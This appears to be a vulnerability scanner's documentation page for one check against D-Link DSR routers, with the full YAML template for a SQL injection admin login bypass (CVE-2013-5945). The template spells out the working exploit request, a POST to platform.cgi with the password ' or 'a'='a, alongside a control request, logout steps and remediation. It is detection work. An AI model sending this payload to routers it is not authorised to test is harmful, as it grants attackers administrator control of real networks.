D-Link DSR — 1 vulnerability check
noctis ships 1 vulnerability check for D-Link DSR, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
D-Link DSR router platform.cgi SQL injection admin login bypass
| CVE | CVE-2013-5945, CVE-2013-5946, CVE-2013-7004, CVE-2013-7005 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, script, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-dsr/CVE-2013-5945.yaml |
Looks for the D-Link Unified Services Router login page at /scgi-bin/platform.cgi (then /platform.cgi). It first posts an admin login whose password is an always-false SQL condition (' or 'a'='<random>) and expects it to be rejected, then posts the admin login with the password ' or 'a'='a. If that second login returns the administration console (the adminSettings.htm menu and the Logout link), or "User already logged in" while the false condition was rejected, the password is evaluated as SQL and an unauthenticated attacker gets an admin session. The session opened by the test is logged out immediately. A router that accepts the false condition too is reported separately as an admin login that accepts an invalid password. No data is read or changed.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /scgi-bin/platform.cgi - Checks
page1.bodyforUnified Services Router - HTTP(S) request
GET /platform.cgi - Checks
page2.bodyforUnified Services Router - HTTP(S) request
POST {{base}}platform.cgiwith a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}platform.cgi?page=index.htm - HTTP(S) request
POST {{base}}platform.cgiwith a crafted body - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}platform.cgi?page=index.htm - Checks
exploit_statefor^session$→ finding QoD 97: D-Link DSR router platform.cgi SQL injection admin login bypass - … and 3 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-5945
- https://nvd.nist.gov/vuln/detail/CVE-2013-5946
- https://nvd.nist.gov/vuln/detail/CVE-2013-7004
- https://nvd.nist.gov/vuln/detail/CVE-2013-7005
- https://www.exploit-db.com/exploits/30062
- http://www.securityfocus.com/bid/64172
Feed source — tests/vulnerabilities/dlink-dsr/CVE-2013-5945.yaml
# Port credit: OpenVAS/Greenbone NASL 2013/gb_dlink_dsr_64172.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103862, GPL-2.0-only), login request taken from the
# original advisory exploit (exploit-db 30062).
# The NASL tracks CVE-2013-5945/5946/7004/7005 but only exercises CVE-2013-5945 (SQL
# injection in the platform.cgi login password). The feed keeps the four IDs at feed
# level for tracking; the findings name only CVE-2013-5945. CVSS = NVD v3.1 of that CVE.
# Improvements over the NASL:
# - an always-false injected login (' or 'a'='<random>) is sent first and must be
# rejected; the true/false pair proves SQL evaluation (QoD 97). A device that logs in
# with any password gets its own lower-QoD finding without the CVE.
# - "User already logged in" only counts when the false control was rejected, so a
# device whose single admin slot is busy is not reported on that message alone.
# - the admin session the probe opens is logged out right away (the DSR allows a single
# admin session, so leaving it open would lock out the real administrator).
# - no Server-banner pre-gate: the page title is checked on platform.cgi itself.
uid: ae912a85-f0bb-4576-896e-d95dbb533335
name: "D-Link DSR router platform.cgi SQL injection admin login bypass"
description: >-
Looks for the D-Link Unified Services Router login page at
/scgi-bin/platform.cgi (then /platform.cgi). It first posts an admin login
whose password is an always-false SQL condition (' or 'a'='<random>) and
expects it to be rejected, then posts the admin login with the password
' or 'a'='a. If that second login returns the administration console (the
adminSettings.htm menu and the Logout link), or "User already logged in"
while the false condition was rejected, the password is evaluated as SQL and
an unauthenticated attacker gets an admin session. The session opened by the
test is logged out immediately. A router that accepts the false condition
too is reported separately as an admin login that accepts an invalid
password. No data is read or changed.
category: sqli
cves: [CVE-2013-5945, CVE-2013-5946, CVE-2013-7004, CVE-2013-7005]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [dlink, dsr, router, sqli, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5945"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5946"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7004"
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7005"
- "https://www.exploit-db.com/exploits/30062"
- "http://www.securityfocus.com/bid/64172"
steps:
- id: init-found
action: set_var
var_name: found
var_value: false
- id: init-base
action: set_var
var_name: base
var_value: "/scgi-bin/"
- id: init-ctl
action: set_var
var_name: ctl
var_value: ""
- id: init-login
action: set_var
var_name: login
var_value: ""
- id: init-exploit-state
action: set_var
var_name: exploit_state
var_value: "none"
- id: rnd
action: script
code: 'rand_str(10)'
store_as: ctl_tok
# ── 1. Locate the Unified Services Router login page ─────────────────────
- id: probe-scgi
action: http_request
method: GET
path: "/scgi-bin/platform.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page1
- id: gate-scgi
action: match
source: page1.body
pattern: "Unified Services Router"
condition: 'type_of(page1) == "map"'
on_match:
set_vars:
found: true
- id: probe-root
action: http_request
method: GET
path: "/platform.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "found == false"
store_as: page2
- id: gate-root
action: match
source: page2.body
pattern: "Unified Services Router"
condition: 'found == false && type_of(page2) == "map"'
on_match:
set_vars:
found: true
base: "/"
# ── 2. Control: always-false injected condition must be rejected ─────────
- id: control
action: http_request
method: POST
path: "{{base}}platform.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "found == true"
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{base}}platform.cgi?page=index.htm"
body: "thispage=index.htm&Users.UserName=admin&Users.Password=%27+or+%27a%27%3D%27{{ctl_tok}}&button.login.Users.deviceStatus=Login&Login.userAgent=noctis"
store_as: ctl
- id: control-state
action: script
code: |
if type_of(ctl) != "map" { "none" }
else if ctl.body.contains("adminSettings.htm") && ctl.body.contains(">Logout<") { "session" }
else if ctl.body.contains(">User already logged in<") { "busy" }
else { "rejected" }
store_as: ctl_state
- id: control-cookie
action: script
code: |
let c = "";
if type_of(ctl) == "map" && "set-cookie" in ctl.headers { c = ctl.headers["set-cookie"]; }
let i = c.index_of(";");
if i > 0 { c.sub_string(0, i) } else { c }
store_as: ctl_cookie
- id: control-logout
action: http_request
method: GET
path: "{{base}}platform.cgi?page=index.htm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'ctl_state == "session"'
headers:
Cookie: "{{ctl_cookie}}"
store_as: ctl_logout
# ── 3. Exploit: ' or 'a'='a as the admin password ─────────────────────────
- id: exploit
action: http_request
method: POST
path: "{{base}}platform.cgi"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'found == true && ctl_state != "session"'
headers:
Content-Type: "application/x-www-form-urlencoded"
Referer: "{{scheme}}://{{target_host}}:{{port}}{{base}}platform.cgi?page=index.htm"
body: "thispage=index.htm&Users.UserName=admin&Users.Password=%27+or+%27a%27%3D%27a&button.login.Users.deviceStatus=Login&Login.userAgent=noctis"
store_as: login
- id: exploit-state-eval
action: script
code: |
if type_of(login) != "map" { "none" }
else if login.body.contains("adminSettings.htm") && login.body.contains(">Logout<") { "session" }
else if login.body.contains(">User already logged in<") { "busy" }
else { "rejected" }
store_as: exploit_state
- id: exploit-cookie
action: script
code: |
let c = "";
if type_of(login) == "map" && "set-cookie" in login.headers { c = login.headers["set-cookie"]; }
let i = c.index_of(";");
if i > 0 { c.sub_string(0, i) } else { c }
store_as: login_cookie
- id: exploit-logout
action: http_request
method: GET
path: "{{base}}platform.cgi?page=index.htm"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'exploit_state == "session"'
headers:
Cookie: "{{login_cookie}}"
store_as: login_logout
# ── 4. Findings ──────────────────────────────────────────────────────────
- id: sqli-session
action: match
source: exploit_state
pattern: "^session$"
condition: 'exploit_state == "session" && ctl_state == "rejected"'
on_match:
finding:
cves: [CVE-2013-5945]
title: "D-Link DSR router platform.cgi SQL injection admin login bypass"
description: "The D-Link DSR web login checks the admin password with a concatenated SQL query, so an unauthenticated attacker obtains an administrator session with a crafted password."
confidence_delta: 0.65
qod: 97
evidence: "POST {{base}}platform.cgi as admin with password ' or 'a'='a returned the administration console (adminSettings.htm menu, Logout link); the same login with the false condition ' or 'a'='{{ctl_tok}} was rejected. The test session was logged out."
remediation: "Update the DSR firmware (DSR-150: 1.08B44, DSR-150N: 1.05B64, DSR-250/250N: 1.08B44, DSR-500/500N and DSR-1000/1000N: 1.08B77 or later) and restrict access to the web management interface."
stop: true
- id: sqli-busy
action: match
source: exploit_state
pattern: "^busy$"
condition: 'exploit_state == "busy" && ctl_state == "rejected"'
on_match:
finding:
cves: [CVE-2013-5945]
title: "D-Link DSR router platform.cgi SQL injection admin login bypass"
description: "The D-Link DSR web login checks the admin password with a concatenated SQL query, so an unauthenticated attacker obtains an administrator session with a crafted password."
confidence_delta: 0.65
qod: 97
evidence: "POST {{base}}platform.cgi as admin with password ' or 'a'='a passed the password check (\"User already logged in\": an administrator session is open, so no new session was created); the same login with the false condition ' or 'a'='{{ctl_tok}} was rejected as an invalid password."
remediation: "Update the DSR firmware (DSR-150: 1.08B44, DSR-150N: 1.05B64, DSR-250/250N: 1.08B44, DSR-500/500N and DSR-1000/1000N: 1.08B77 or later) and restrict access to the web management interface."
stop: true
- id: sqli-unconfirmed-control
action: match
source: exploit_state
pattern: "^session$"
condition: 'exploit_state == "session" && ctl_state == "none"'
on_match:
finding:
cves: [CVE-2013-5945]
title: "D-Link DSR router platform.cgi SQL injection admin login bypass"
description: "The D-Link DSR web login checks the admin password with a concatenated SQL query, so an unauthenticated attacker obtains an administrator session with a crafted password."
confidence_delta: 0.50
qod: 75
evidence: "POST {{base}}platform.cgi as admin with password ' or 'a'='a returned the administration console (adminSettings.htm menu, Logout link); the false-condition control login got no reply. The test session was logged out."
remediation: "Update the DSR firmware (DSR-150: 1.08B44, DSR-150N: 1.05B64, DSR-250/250N: 1.08B44, DSR-500/500N and DSR-1000/1000N: 1.08B77 or later) and restrict access to the web management interface."
stop: true
- id: any-password
action: match
source: ctl_state
pattern: "^session$"
condition: 'ctl_state == "session"'
on_match:
finding:
cves: []
title: "D-Link DSR router admin login accepts an invalid password"
description: "The D-Link DSR web console opened an administrator session for a login whose password is neither valid nor a true SQL condition, so the admin interface is reachable without knowing the password."
confidence_delta: 0.40
qod: 70
evidence: "POST {{base}}platform.cgi as admin with the false condition ' or 'a'='{{ctl_tok}} as password returned the administration console (adminSettings.htm menu, Logout link). The test session was logged out."
remediation: "Restrict access to the web management interface, set a strong admin password and update the DSR firmware."
stop: true